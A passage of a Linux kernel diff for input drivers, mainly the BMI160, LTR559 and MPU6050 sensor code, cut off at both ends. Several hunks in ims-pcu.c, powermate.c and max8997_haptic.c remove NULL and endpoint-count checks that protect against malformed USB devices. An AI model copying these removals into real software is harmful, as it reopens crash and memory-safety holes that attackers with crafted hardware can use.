(!pdata) { + dev_err(dev, "Failed to allcated memory\n"); + err = -ENOMEM; + goto disable_power_exit; + } + err = bmi160_parse_dt(&client_data->i2c->dev, pdata); + if (err) { + dev_err(dev, "Failed to parse device tree\n"); + err = -EINVAL; + goto pdata_free_exit; + } + } else { + pdata = client_data->i2c->dev.platform_data; + dev_err(dev, "Use platform data\n"); + } + + if (!pdata) { + dev_err(&client_data->i2c->dev, "Cannot get device platform data\n"); + err = -EINVAL; + goto exit; + } + client_data->pdata = pdata; + /* check chip id */ err = bmi_check_chip_id(client_data); if (err) - goto disable_power_exit; + goto exit; dev_set_drvdata(dev, client_data); client_data->dev = dev; @@ -4886,7 +4976,7 @@ int bmi_probe(struct bmi_client_data *client_data, struct device *dev) /* input device init */ err = bmi_input_init(client_data); if (err < 0) - goto disable_power_exit; + goto free_i2c_clientdata_exit; /* sysfs node creation */ err = sysfs_create_group(&client_data->i2c->dev.kobj, @@ -4897,6 +4987,8 @@ int bmi_probe(struct bmi_client_data *client_data, struct device *dev) /*to do*/ client_data->accel_cdev = accel_cdev; + client_data->accel_cdev.min_delay = POLL_INTERVAL_MIN_MS * 1000; + client_data->accel_cdev.delay_msec = 200; client_data->accel_cdev.sensors_enable = bmi160_cdev_enable_accel; client_data->accel_cdev.sensors_poll_delay = bmi160_accel_poll_delay; client_data->accel_cdev.sensors_calibrate = bmi160_self_calibration_xyz; @@ -4908,6 +5000,8 @@ int bmi_probe(struct bmi_client_data *client_data, struct device *dev) } client_data->gyro_cdev = gyro_cdev; + client_data->gyro_cdev.min_delay = POLL_INTERVAL_MIN_MS * 1000; + client_data->gyro_cdev.delay_msec = 200; client_data->gyro_cdev.sensors_enable = bmi160_cdev_enable_gyro; client_data->gyro_cdev.sensors_poll_delay = bmi160_gyro_poll_delay; err = sensors_classdev_register(&client_data->input_gyro->dev, @@ -4917,27 +5011,6 @@ int bmi_probe(struct bmi_client_data *client_data, struct device *dev) return err; } - if (NULL != dev->platform_data) { - client_data->bst_pd = kzalloc(sizeof(*client_data->bst_pd), - GFP_KERNEL); - - if (NULL != client_data->bst_pd) { - memcpy(client_data->bst_pd, dev->platform_data, - sizeof(*client_data->bst_pd)); - dev_notice(dev, "%s sensor driver set place: p%d\n", - client_data->bst_pd->name, - client_data->bst_pd->place); - } - } - - if (NULL != client_data->bst_pd) { - memcpy(client_data->bst_pd, dev->platform_data, - sizeof(*client_data->bst_pd)); - dev_notice(dev, "%s sensor driver set place: p%d\n", - client_data->bst_pd->name, - client_data->bst_pd->place); - } - /* workqueue init */ INIT_DELAYED_WORK(&client_data->work, bmi_work_func); INIT_DELAYED_WORK(&client_data->gyro_work, bmi_gyro_work_func); @@ -5008,20 +5081,21 @@ int bmi_probe(struct bmi_client_data *client_data, struct device *dev) if (err < 0) goto exit_err_sysfs; -#ifdef BMI160_ENABLE_INT1 - client_data->gpio_pin = of_get_named_gpio_flags(dev->of_node, - "bosch,gpio-int1", 0, NULL); - dev_info(client_data->dev, "BMI160 qpio number:%d\n", - client_data->gpio_pin); - err += gpio_request_one(client_data->gpio_pin, + err = gpio_request_one(client_data->pdata->gpio_pin, GPIOF_IN, "bmi160_int"); - err += gpio_direction_input(client_data->gpio_pin); - client_data->IRQ = gpio_to_irq(client_data->gpio_pin); + if (err < 0) { + dev_err(client_data->dev, + "failed to request gpio %d, error %d\n", + client_data->pdata->gpio_pin, err); + } + client_data->IRQ = gpio_to_irq(client_data->pdata->gpio_pin); if (err) { dev_err(client_data->dev, "can not request gpio to irq number\n"); - client_data->gpio_pin = 0; + client_data->pdata->gpio_pin = 0; } + +#ifdef BMI160_ENABLE_INT1 /* maps interrupt to INT1/InT2 pin */ BMI_CALL_API(set_intr_any_motion)(BMI_INT0, ENABLE); BMI_CALL_API(set_intr_fifo_wm)(BMI_INT0, ENABLE); @@ -5042,19 +5116,6 @@ int bmi_probe(struct bmi_client_data *client_data, struct device *dev) #endif #ifdef BMI160_ENABLE_INT2 - client_data->gpio_pin = of_get_named_gpio_flags(dev->of_node, - "bosch,gpio-int2", 0, NULL); - dev_info(client_data->dev, "BMI160 qpio number:%d\n", - client_data->gpio_pin); - err += gpio_request_one(client_data->gpio_pin, - GPIOF_IN, "bmi160_int"); - err += gpio_direction_input(client_data->gpio_pin); - client_data->IRQ = gpio_to_irq(client_data->gpio_pin); - if (err) { - dev_err(client_data->dev, - "can not request gpio to irq number\n"); - client_data->gpio_pin = 0; - } /* maps interrupt to INT1/InT2 pin */ BMI_CALL_API(set_intr_any_motion)(BMI_INT1, ENABLE); BMI_CALL_API(set_intr_fifo_wm)(BMI_INT1, ENABLE); @@ -5078,6 +5139,7 @@ int bmi_probe(struct bmi_client_data *client_data, struct device *dev) if (err) dev_err(client_data->dev, "could not request irq\n"); INIT_WORK(&client_data->irq_work, bmi_irq_work_func); + disable_irq(client_data->IRQ); client_data->selftest = 0; @@ -5108,20 +5170,18 @@ int bmi_probe(struct bmi_client_data *client_data, struct device *dev) exit_err_sysfs: if (err) bmi_input_destroy(client_data); +free_i2c_clientdata_exit: + dev_set_drvdata(dev, NULL); +pdata_free_exit: + if (pdata && (&client_data->i2c->dev.of_node)) + devm_kfree(&client_data->i2c->dev, pdata); + client_data->pdata = NULL; disable_power_exit: bmi160_power_ctl(client_data, false); deinit_power_exit: bmi160_power_deinit(client_data); -exit_err_clean: - if (err) { - if (client_data != NULL) { - if (NULL != client_data->bst_pd) { - kfree(client_data->bst_pd); - client_data->bst_pd = NULL; - } - } - } - +exit: + kfree(client_data); return err; } EXPORT_SYMBOL(bmi_probe); @@ -5148,6 +5208,7 @@ int bmi_remove(struct device *dev) BMI_GYRO_PM_NORMAL == client_data->pw.gyro_pm || BMI_MAG_PM_NORMAL == client_data->pw.mag_pm) { cancel_delayed_work_sync(&client_data->work); + cancel_delayed_work_sync(&client_data->gyro_work); } mutex_unlock(&client_data->mutex_enable); @@ -5159,9 +5220,9 @@ int bmi_remove(struct device *dev) &bmi160_attribute_group); bmi_input_destroy(client_data); - if (NULL != client_data->bst_pd) { - kfree(client_data->bst_pd); - client_data->bst_pd = NULL; + if (NULL != client_data->pdata) { + kfree(client_data->pdata); + client_data->pdata = NULL; } kfree(client_data); } @@ -5181,6 +5242,13 @@ static int bmi_post_resume(struct bmi_client_data *client_data) msecs_to_jiffies( atomic_read(&client_data->delay))); } + + if (atomic_read(&client_data->gyro_en) == 1) { + bmi160_set_gyro_op_mode(client_data, BMI_GYRO_PM_NORMAL); + schedule_delayed_work(&client_data->gyro_work, + msecs_to_jiffies( + atomic_read(&client_data->delay))); + } mutex_unlock(&client_data->mutex_enable); if (client_data->is_timer_running) { hrtimer_start(&client_data->timer, @@ -5199,8 +5267,6 @@ int bmi_suspend(struct device *dev) { int err = 0; struct bmi_client_data *client_data = dev_get_drvdata(dev); - unsigned char stc_enable; - unsigned char std_enable; dev_err(client_data->dev, "bmi suspend function entrance"); if (client_data->is_timer_running) { @@ -5214,33 +5280,10 @@ int bmi_suspend(struct device *dev) bmi160_set_acc_op_mode(client_data, BMI_ACC_PM_SUSPEND); cancel_delayed_work_sync(&client_data->work); } - BMI_CALL_API(get_step_counter_enable)(&stc_enable); - BMI_CALL_API(get_step_detector_enable)(&std_enable); - if (client_data->pw.acc_pm != BMI_ACC_PM_SUSPEND && - (stc_enable != 1) && (std_enable != 1) && - (client_data->sig_flag != 1)) { - err += BMI_CALL_API(set_command_register) - (bmi_pmu_cmd_acc_arr[BMI_ACC_PM_SUSPEND]); - /*client_data->pw.acc_pm = BMI_ACC_PM_SUSPEND;*/ - mdelay(3); - } - if (client_data->pw.gyro_pm != BMI_GYRO_PM_SUSPEND) { - err += BMI_CALL_API(set_command_register) - (bmi_pmu_cmd_gyro_arr[BMI_GYRO_PM_SUSPEND]); - /*client_data->pw.gyro_pm = BMI_GYRO_PM_SUSPEND;*/ - mdelay(3); - } - if (client_data->pw.mag_pm != BMI_MAG_PM_SUSPEND) { -#ifdef BMI160_AKM09912_SUPPORT - err += bmi160_set_bst_akm_and_secondary_if_powermode - (BMI160_MAG_SUSPEND_MODE); -#else - err += bmi160_set_bmm150_mag_and_secondary_if_power_mode - (BMI160_MAG_SUSPEND_MODE); -#endif - /*client_data->pw.gyro_pm = BMI160_MAG_SUSPEND_MODE;*/ - mdelay(3); + if (atomic_read(&client_data->gyro_en) == 1) { + bmi160_set_gyro_op_mode(client_data, BMI_GYRO_PM_SUSPEND); + cancel_delayed_work_sync(&client_data->gyro_work); } return err; @@ -5251,6 +5294,8 @@ int bmi_resume(struct device *dev) { int err = 0; struct bmi_client_data *client_data = dev_get_drvdata(dev); + dev_err(client_data->dev, "bmi resume function entrance"); + if (client_data->pw.acc_pm != BMI_ACC_PM_SUSPEND) { err += BMI_CALL_API(set_command_register) (bmi_pmu_cmd_acc_arr[BMI_ACC_PM_NORMAL]); diff --git a/drivers/input/misc/bmi160_driver.h b/drivers/input/misc/bmi160_driver.h index 70a432a5e170f..57f41a32f066d 100644 --- a/drivers/input/misc/bmi160_driver.h +++ b/drivers/input/misc/bmi160_driver.h @@ -230,6 +230,12 @@ enum BMI_FIFO_DATA_SELECT_T { * Bst sensor common definition, * please give parameters in BSP file. */ +struct bmi160_platform_data { + int gpio_pin; + unsigned int int_flag; + s8 place; +}; + struct bosch_sensor_specific { char *name; /* 0 to 7 */ @@ -343,14 +349,13 @@ struct bmi_client_data { unsigned char *fifo_data; u8 stc_enable; - uint16_t gpio_pin; u8 std; u8 sig_flag; unsigned char calib_status; struct mutex mutex_op_mode; struct mutex mutex_enable; struct mutex mutex_ring_buf; - struct bosch_sensor_specific *bst_pd; + struct bmi160_platform_data *pdata; bool power_enabled; int IRQ; #ifdef CONFIG_HAS_EARLYSUSPEND diff --git a/drivers/input/misc/ims-pcu.c b/drivers/input/misc/ims-pcu.c index 77164dc1bedd1..e204f26b0011a 100644 --- a/drivers/input/misc/ims-pcu.c +++ b/drivers/input/misc/ims-pcu.c @@ -1433,8 +1433,6 @@ static int ims_pcu_parse_cdc_data(struct usb_interface *intf, struct ims_pcu *pc pcu->ctrl_intf = usb_ifnum_to_if(pcu->udev, union_desc->bMasterInterface0); - if (!pcu->ctrl_intf) - return -EINVAL; alt = pcu->ctrl_intf->cur_altsetting; pcu->ep_ctrl = &alt->endpoint[0].desc; @@ -1442,8 +1440,6 @@ static int ims_pcu_parse_cdc_data(struct usb_interface *intf, struct ims_pcu *pc pcu->data_intf = usb_ifnum_to_if(pcu->udev, union_desc->bSlaveInterface0); - if (!pcu->data_intf) - return -EINVAL; alt = pcu->data_intf->cur_altsetting; if (alt->desc.bNumEndpoints != 2) { diff --git a/drivers/input/misc/ltr553.c b/drivers/input/misc/ltr553.c index 8e7765e734175..68492d8829268 100644 --- a/drivers/input/misc/ltr553.c +++ b/drivers/input/misc/ltr553.c @@ -245,16 +245,10 @@ static struct sensors_classdev als_cdev = { .version = 1, .handle = SENSORS_LIGHT_HANDLE, .type = SENSOR_TYPE_LIGHT, -#ifdef CONFIG_MACH_WT88047 - .max_range = "60000", - .resolution = "0.0125", - .min_delay = 0, -#else .max_range = "65536", .resolution = "1.0", - .min_delay = 50000, -#endif .sensor_power = "0.25", + .min_delay = 50000, .max_delay = 2000, .fifo_reserved_event_count = 0, .fifo_max_event_count = 0, @@ -271,16 +265,10 @@ static struct sensors_classdev ps_cdev = { .version = 1, .handle = SENSORS_PROXIMITY_HANDLE, .type = SENSOR_TYPE_PROXIMITY, -#ifdef CONFIG_MACH_WT88047 - .max_range = "5", - .resolution = "5.0", - .min_delay = 0, -#else .max_range = "7", .resolution = "1.0", - .min_delay = 10000, -#endif .sensor_power = "0.25", + .min_delay = 10000, .max_delay = 2000, .fifo_reserved_event_count = 0, .fifo_max_event_count = 0, diff --git a/drivers/input/misc/ltr559.c b/drivers/input/misc/ltr559.c index 2038b2aa9c45a..63ab3d6b676ae 100644 --- a/drivers/input/misc/ltr559.c +++ b/drivers/input/misc/ltr559.c @@ -132,11 +132,7 @@ static struct ltr559_reg reg_tbl[] = { .name = "ALS_CONTR", .addr = 0x80, .defval = 0x00, -#ifdef CONFIG_MACH_WT88047 - .curval = 0x0D, -#else .curval = 0x19, -#endif }, { .name = "PS_CONTR", @@ -311,11 +307,7 @@ static int ltr559_ps_enable(struct i2c_client *client, int on) struct ltr559_data *data = i2c_get_clientdata(client); int ret=0; int contr_data; -#ifdef CONFIG_MACH_WT88047 - ktime_t timestamp; - timestamp = ktime_get_boottime(); -#endif if (on) { ltr559_set_ps_threshold(client, LTR559_PS_THRES_LOW_0, 0); ltr559_set_ps_threshold(client, LTR559_PS_THRES_UP_0, data->platform_data->prox_threshold); @@ -336,12 +328,6 @@ static int ltr559_ps_enable(struct i2c_client *client, int on) ltr559_ps_dynamic_caliberate(&data->ps_cdev); printk("%s, report ABS_DISTANCE=%s\n",__func__, data->ps_state ? "far" : "near"); input_report_abs(data->input_dev_ps, ABS_DISTANCE, data->ps_state); -#ifdef CONFIG_MACH_WT88047 - input_event(data->input_dev_ps, EV_SYN, SYN_TIME_SEC, - ktime_to_timespec(timestamp).tv_sec); - input_event(data->input_dev_ps, EV_SYN, SYN_TIME_NSEC, - ktime_to_timespec(timestamp).tv_nsec); -#endif } else { ret = i2c_smbus_write_byte_data(client, LTR559_PS_CONTR, MODE_PS_StdBy); if(ret<0){ @@ -440,15 +426,9 @@ static void ltr559_ps_work_func(struct work_struct *work) int als_ps_status; int psdata; int j = 0; -#ifdef CONFIG_MACH_WT88047 - ktime_t timestamp; -#endif mutex_lock(&data->op_lock); -#ifdef CONFIG_MACH_WT88047 - timestamp = ktime_get_boottime(); -#endif als_ps_status = i2c_smbus_read_byte_data(client, LTR559_ALS_PS_STATUS); if (als_ps_status < 0) goto workout; @@ -499,12 +479,6 @@ static void ltr559_ps_work_func(struct work_struct *work) if((ps_state_last != data->ps_state) || (data->ps_state == 0)) { input_report_abs(data->input_dev_ps, ABS_DISTANCE, data->ps_state); -#ifdef CONFIG_MACH_WT88047 - input_event(data->input_dev_ps, EV_SYN, SYN_TIME_SEC, - ktime_to_timespec(timestamp).tv_sec); - input_event(data->input_dev_ps, EV_SYN, SYN_TIME_NSEC, - ktime_to_timespec(timestamp).tv_nsec); -#endif input_sync(data->input_dev_ps); printk("%s, report ABS_DISTANCE=%s\n",__func__, data->ps_state ? "far" : "near"); @@ -528,15 +502,9 @@ static void ltr559_als_work_func(struct work_struct *work) struct i2c_client *client=data->client; int als_ps_status; int als_data; -#ifdef CONFIG_MACH_WT88047 - ktime_t timestamp; -#endif mutex_lock(&data->op_lock); -#ifdef CONFIG_MACH_WT88047 - timestamp = ktime_get_boottime(); -#endif if(!data->als_open_state) goto workout; @@ -553,12 +521,6 @@ static void ltr559_als_work_func(struct work_struct *work) if ((als_data >= 0) && (als_data != data->last_lux)) { data->last_lux = als_data; input_report_abs(data->input_dev_als, ABS_MISC, als_data); -#ifdef CONFIG_MACH_WT88047 - input_event(data->input_dev_als, EV_SYN, SYN_TIME_SEC, - ktime_to_timespec(timestamp).tv_sec); - input_event(data->input_dev_als, EV_SYN, SYN_TIME_NSEC, - ktime_to_timespec(timestamp).tv_nsec); -#endif input_sync(data->input_dev_als); } } @@ -1359,13 +1321,8 @@ int ltr559_probe(struct i2c_client *client, const struct i2c_device_id *id) input_set_abs_params(data->input_dev_als, ABS_MISC, 0, 65535, 0, 0); input_set_abs_params(data->input_dev_ps, ABS_DISTANCE, 0, 1, 0, 0); -#ifdef CONFIG_MACH_WT88047 - data->input_dev_als->name = "light"; - data->input_dev_ps->name = "proximity"; -#else data->input_dev_als->name = "ltr559-ls"; data->input_dev_ps->name = "ltr559-ps"; -#endif data->input_dev_als->id.bustype = BUS_I2C; data->input_dev_als->dev.parent =&data->client->dev; data->input_dev_ps->id.bustype = BUS_I2C; diff --git a/drivers/input/misc/max8997_haptic.c b/drivers/input/misc/max8997_haptic.c index a8c91226cd229..e973133212a51 100644 --- a/drivers/input/misc/max8997_haptic.c +++ b/drivers/input/misc/max8997_haptic.c @@ -246,14 +246,12 @@ static int max8997_haptic_probe(struct platform_device *pdev) struct max8997_dev *iodev = dev_get_drvdata(pdev->dev.parent); const struct max8997_platform_data *pdata = dev_get_platdata(iodev->dev); - const struct max8997_haptic_platform_data *haptic_pdata = NULL; + const struct max8997_haptic_platform_data *haptic_pdata = + pdata->haptic_pdata; struct max8997_haptic *chip; struct input_dev *input_dev; int error; - if (pdata) - haptic_pdata = pdata->haptic_pdata; - if (!haptic_pdata) { dev_err(&pdev->dev, "no haptic platform data\n"); return -EINVAL; diff --git a/drivers/input/misc/mpu6050.c b/drivers/input/misc/mpu6050.c index 758c77df7ebbc..2e5f2cddf47e4 100644 --- a/drivers/input/misc/mpu6050.c +++ b/drivers/input/misc/mpu6050.c @@ -40,10 +40,8 @@ /*VDD 2.375V-3.46V VLOGIC 1.8V +-5%*/ #define MPU6050_VDD_MIN_UV 2500000 #define MPU6050_VDD_MAX_UV 3400000 -#ifndef CONFIG_MACH_WT88047 #define MPU6050_VLOGIC_MIN_UV 1800000 #define MPU6050_VLOGIC_MAX_UV 1800000 -#endif #define MPU6050_VI2C_MIN_UV 1750000 #define MPU6050_VI2C_MAX_UV 1950000 @@ -187,9 +185,7 @@ struct mpu6050_sensor { bool acc_use_cal; /* power control */ -#ifndef CONFIG_MACH_WT88047 struct regulator *vlogic; -#endif struct regulator *vdd; struct regulator *vi2c; int enable_gpio; @@ -369,7 +365,6 @@ static int mpu6050_power_ctl(struct mpu6050_sensor *sensor, bool on) return rc; } -#ifndef CONFIG_MACH_WT88047 rc = regulator_enable(sensor->vlogic); if (rc) { dev_err(&sensor->client->dev, @@ -377,7 +372,6 @@ static int mpu6050_power_ctl(struct mpu6050_sensor *sensor, bool on) regulator_disable(sensor->vdd); return rc; } -#endif if (!IS_ERR_OR_NULL(sensor->vi2c)) { rc = regulator_enable(sensor->vi2c); @@ -385,9 +379,7 @@ static int mpu6050_power_ctl(struct mpu6050_sensor *sensor, bool on) dev_err(&sensor->client->dev, "Regulator vi2c enable failed rc=%d\n", rc); -#ifndef CONFIG_MACH_WT88047 regulator_disable(sensor->vlogic); -#endif regulator_disable(sensor->vdd); return rc; } @@ -418,7 +410,6 @@ static int mpu6050_power_ctl(struct mpu6050_sensor *sensor, bool on) return rc; } -#ifndef CONFIG_MACH_WT88047 rc = regulator_disable(sensor->vlogic); if (rc) { dev_err(&sensor->client->dev, @@ -426,7 +417,6 @@ static int mpu6050_power_ctl(struct mpu6050_sensor *sensor, bool on) rc = regulator_enable(sensor->vdd); return rc; } -#endif if (!IS_ERR_OR_NULL(sensor->vi2c)) { rc = regulator_disable(sensor->vi2c); @@ -471,7 +461,6 @@ static int mpu6050_power_init(struct mpu6050_sensor *sensor) } } -#ifndef CONFIG_MACH_WT88047 sensor->vlogic = regulator_get(&sensor->client->dev, "vlogic"); if (IS_ERR(sensor->vlogic)) { ret = PTR_ERR(sensor->vlogic); @@ -490,7 +479,6 @@ static int mpu6050_power_init(struct mpu6050_sensor *sensor) goto reg_vlogic_put; } } -#endif sensor->vi2c = regulator_get(&sensor->client->dev, "vi2c"); if (IS_ERR(sensor->vi2c)) { @@ -513,7 +501,6 @@ static int mpu6050_power_init(struct mpu6050_sensor *sensor) reg_vi2c_put: regulator_put(sensor->vi2c); -#ifndef CONFIG_MACH_WT88047 if (regulator_count_voltages(sensor->vlogic) > 0) regulator_set_voltage(sensor->vlogic, 0, MPU6050_VLOGIC_MAX_UV); reg_vlogic_put: @@ -521,7 +508,6 @@ static int mpu6050_power_init(struct mpu6050_sensor *sensor) reg_vdd_set_vtg: if (regulator_count_voltages(sensor->vdd) > 0) regulator_set_voltage(sensor->vdd, 0, MPU6050_VDD_MAX_UV); -#endif reg_vdd_put: regulator_put(sensor->vdd); return ret; @@ -531,11 +517,9 @@ static int mpu6050_power_deinit(struct mpu6050_sensor *sensor) { int ret = 0; -#ifndef CONFIG_MACH_WT88047 if (regulator_count_voltages(sensor->vlogic) > 0) regulator_set_voltage(sensor->vlogic, 0, MPU6050_VLOGIC_MAX_UV); regulator_put(sensor->vlogic); -#endif if (regulator_count_voltages(sensor->vdd) > 0) regulator_set_voltage(sensor->vdd, 0, MPU6050_VDD_MAX_UV); regulator_put(sensor->vdd); diff --git a/drivers/input/misc/powermate.c b/drivers/input/misc/powermate.c index 21ce1cf757bb9..49c0c3ebd3214 100644 --- a/drivers/input/misc/powermate.c +++ b/drivers/input/misc/powermate.c @@ -308,9 +308,6 @@ static int powermate_probe(struct usb_interface *intf, const struct usb_device_i int error = -ENOMEM; interface = intf->cur_altsetting; - if (interface->desc.bNumEndpoints < 1) - return -EINVAL; - endpoint = &interface->endpoint[0].desc; if (!usb_endpoint_is_int_in(endpoint)) return -EIO; diff --git a/drivers/input/misc/uinput.c b/drivers/input/misc/uinput.c index 3f2f3ac96a55d..a0a4bbaef02c2 100644 --- a/drivers/input/misc/uinput.c +++ b/drivers/input/misc/uinput.c @@ -835,15 +835,9 @@ static long uinput_ioctl(struct file *file, unsigned int cmd, unsigned long arg) } #ifdef CONFIG_COMPAT - -#define UI_SET_PHYS_COMPAT _IOW(UINPUT_IOCTL_BASE, 108, compat_uptr_t) - static long uinput_compat_ioctl(struct file *file, unsigned int cmd, unsigned long arg) { - if (cmd == UI_SET_PHYS_COMPAT) - cmd = UI_SET_PHYS; - return uinput_ioctl_handler(file, cmd, arg, compat_ptr(arg)); } #endif diff --git a/drivers/input/misc/yas.h b/drivers/input/misc/yas.h deleted file mode 100644 index 29b215bcbe364..0000000000000 --- a/drivers/input/misc/yas.h +++ /dev/null @@ -1,2001 +0,0 @@ -/** - * Header file of the core driver API @file yas.h - * - * Copyright (c) 2013-2014 Yamaha Corporation - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any damages - * arising from the use of this software. - * - * Permission is granted to anyone to use this software for any purpose, - * including commercial applications, and to alter it and redistribute it - * freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you must not - * claim that you wrote the original software. If you use this software - * in a product, an acknowledgment in the product documentation would be - * appreciated but is not required. - * 2. Altered source versions must be plainly marked as such, and must not be - * misrepresented as being the original software. - * 3. This notice may not be removed or altered from any source distribution. - */ - -#ifndef __YAS_H__ -#define __YAS_H__ - -#include "yas_cfg.h" - -#define YAS_VERSION "10.2.4"/*!< MS-x Driver Version */ - -/* ---------------------------------------------------------------------------- - * Typedef definition - *--------------------------------------------------------------------------- */ - -#if defined(__KERNEL__) -#include -#else -#include -/*typedef signed char int8_t;*/ -/*typedef unsigned char uint8_t;*/ -/*typedef signed short int16_t;*/ -/*typedef unsigned short uint16_t;*/ -/*typedef signed int int32_t;*/ -/*typedef unsigned int uint32_t;*/ -#endif - -/* ---------------------------------------------------------------------------- - * Macro definition - *--------------------------------------------------------------------------- */ - -#define YAS_DEBUG (0) /*!< Debug print (0:disabled, - 1:enabled) */ - -#define YAS_NO_ERROR (0) /*!< Succeed */ -#define YAS_ERROR_ARG (-1) /*!< Invalid argument */ -#define YAS_ERROR_INITIALIZE (-2) /*!< Invalid initialization status - */ -#define YAS_ERROR_BUSY (-3) /*!< Sensor is busy */ -#define YAS_ERROR_DEVICE_COMMUNICATION (-4) /*!< Device communication error */ -#define YAS_ERROR_CHIP_ID (-5) /*!< Invalid chip id */ -#define YAS_ERROR_CALREG (-6) /*!< Invalid CAL register */ -#define YAS_ERROR_OVERFLOW (-7) /*!< Overflow occured */ -#define YAS_ERROR_UNDERFLOW (-8) /*!< Underflow occured */ -#define YAS_ERROR_DIRCALC (-9) /*!< Direction calcuration error */ -#define YAS_ERROR_ERROR (-128) /*!< other error */ - -#ifndef NULL -#ifdef __cplusplus -#define NULL (0) /*!< NULL */ -#else -#define NULL ((void *)(0)) /*!< NULL */ -#endif -#endif -#ifndef NELEMS -#define NELEMS(a) ((int)(sizeof(a)/sizeof(a[0]))) /*!< Number of array - elements */ -#endif -#ifndef ABS -#define ABS(a) ((a) > 0 ? (a) : -(a)) /*!< Absolute value */ -#endif -#ifndef M_PI -#define M_PI (3.14159265358979323846) /*!< Math PI */ -#endif - -#define YAS_MATRIX_NORM (10000) /*!< Matrix normalize unit */ -/* YAS_MATRIX_NORM_RECIP_BIT = SFIXED_RECIP_Q31(YAS_MATRIX_NORM, - * &YAS_MATRIX_NORM_RECIP) */ -#define YAS_MATRIX_NORM_RECIP (0x68DB8BAC) -#define YAS_MATRIX_NORM_RECIP_BIT (18) -#define YAS_QUATERNION_NORM (10000) /*!< Quaternion normalize unit */ - -#if YAS_DEBUG -#ifdef __KERNEL__ -#include -#define YLOGD(args) (printk args) /*!< Debug log (DEBUG) */ -#define YLOGI(args) (printk args) /*!< Debug log (INFO) */ -#define YLOGE(args) (printk args) /*!< Debug log (ERROR) */ -#define YLOGW(args) (printk args) /*!< Debug log (WARNING) */ -#elif defined __ANDROID__ -#include -#ifdef LOG_TAG -#undef LOG_TAG -#endif -#define LOG_TAG "yas" -#define YLOGD(args) (ALOGD args) /*!< Debug log (DEBUG) */ -#define YLOGI(args) (ALOGI args) /*!< Debug log (INFO) */ -#define YLOGE(args) (ALOGE args) /*!< Debug log (ERROR) */ -#define YLOGW(args) (ALOGW args) /*!< Debug log (WARNING) */ -#else /* __ANDROID__ */ -#include -#define YLOGD(args) (printf args) /*!< Debug log (DEBUG) */ -#define YLOGI(args) (printf args) /*!< Debug log (INFO) */ -#define YLOGE(args) (printf args) /*!< Debug log (ERROR) */ -#define YLOGW(args) (printf args) /*!< Debug log (WARNING) */ -#endif /* __ANDROID__ */ -#else /* DEBUG */ -#define YLOGD(args) /*!< Debug log (DEBUG) */ -#define YLOGI(args) /*!< Debug log (INFO) */ -#define YLOGW(args) /*!< Debug log (ERROR) */ -#define YLOGE(args) /*!< Debug log (WARNING) */ -#endif /* DEBUG */ - -#define YAS_TYPE_ACC_NONE (0x00000001) /*!< No Acceleration */ -#define YAS_TYPE_MAG_NONE (0x00000002) /*!< No Magnetometer */ -#define YAS_TYPE_GYRO_NONE (0x00000004) /*!< No Gyroscope */ -#define YAS_TYPE_A_ACC (0x00000008) /*!< 3-axis Acceleration */ -#define YAS_TYPE_M_MAG (0x00000010) /*!< 3-axis Magnetometer */ -#define YAS_TYPE_G_GYRO (0x00000020) /*!< 3-axis Gyroscope */ -#define YAS_TYPE_AM_ACC (0x00100000) /*!< 6-axis (Acc+Mag) - Acceleration */ -#define YAS_TYPE_AM_MAG (0x00200000) /*!< 6-axis (Acc+Mag) - Magnetometer */ -#define YAS_TYPE_AG_ACC (0x01000000) /*!< 6-axis (Acc+Gyro) - Acceleration */ -#define YAS_TYPE_AG_GYRO (0x02000000) /*!< 6-axis (Acc+Gyro) - Gyroscope */ -#define YAS_TYPE_AMG_ACC (0x10000000) /*!< 9-axis (Acc+Gyro+Mag) - Acceleration */ -#define YAS_TYPE_AMG_MAG (0x20000000) /*!< 9-axis (Acc+Gyro+Mag) - Magnetometer */ -#define YAS_TYPE_AMG_GYRO (0x40000000) /*!< 9-axis (Acc+Gyro+Mag) - Gyroscope */ - -#if YAS_ACC_DRIVER == YAS_ACC_DRIVER_NONE -#define YAS_TYPE_ACC YAS_TYPE_ACC_NONE -#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_ADXL345 -#define YAS_TYPE_ACC YAS_TYPE_A_ACC -#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_ADXL346 -#define YAS_TYPE_ACC YAS_TYPE_A_ACC -#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_BMA150 -#define YAS_TYPE_ACC YAS_TYPE_A_ACC -#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_BMA222 -#define YAS_TYPE_ACC YAS_TYPE_A_ACC -#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_BMA222E -#define YAS_TYPE_ACC YAS_TYPE_A_ACC -#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_BMA250 -#define YAS_TYPE_ACC YAS_TYPE_A_ACC -#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_BMA250E -#define YAS_TYPE_ACC YAS_TYPE_A_ACC -#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_BMA254 -#define YAS_TYPE_ACC YAS_TYPE_A_ACC -#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_BMA255 -#define YAS_TYPE_ACC YAS_TYPE_A_ACC -#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_BMI055 -#define YAS_TYPE_ACC YAS_TYPE_A_ACC -#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_BMI058 -#define YAS_TYPE_ACC YAS_TYPE_A_ACC -#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_DMARD08 -#define YAS_TYPE_ACC YAS_TYPE_A_ACC -#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_KXSD9 -#define YAS_TYPE_ACC YAS_TYPE_A_ACC -#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_KXTE9 -#define YAS_TYPE_ACC YAS_TYPE_A_ACC -#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_KXTF9 -#define YAS_TYPE_ACC YAS_TYPE_A_ACC -#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_KXTI9 -#define YAS_TYPE_ACC YAS_TYPE_A_ACC -#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_KXTJ2 -#define YAS_TYPE_ACC YAS_TYPE_A_ACC -#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_KXUD9 -#define YAS_TYPE_ACC YAS_TYPE_A_ACC -#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_LIS331DL -#define YAS_TYPE_ACC YAS_TYPE_A_ACC -#elif YAS_ACC_DRIVER == 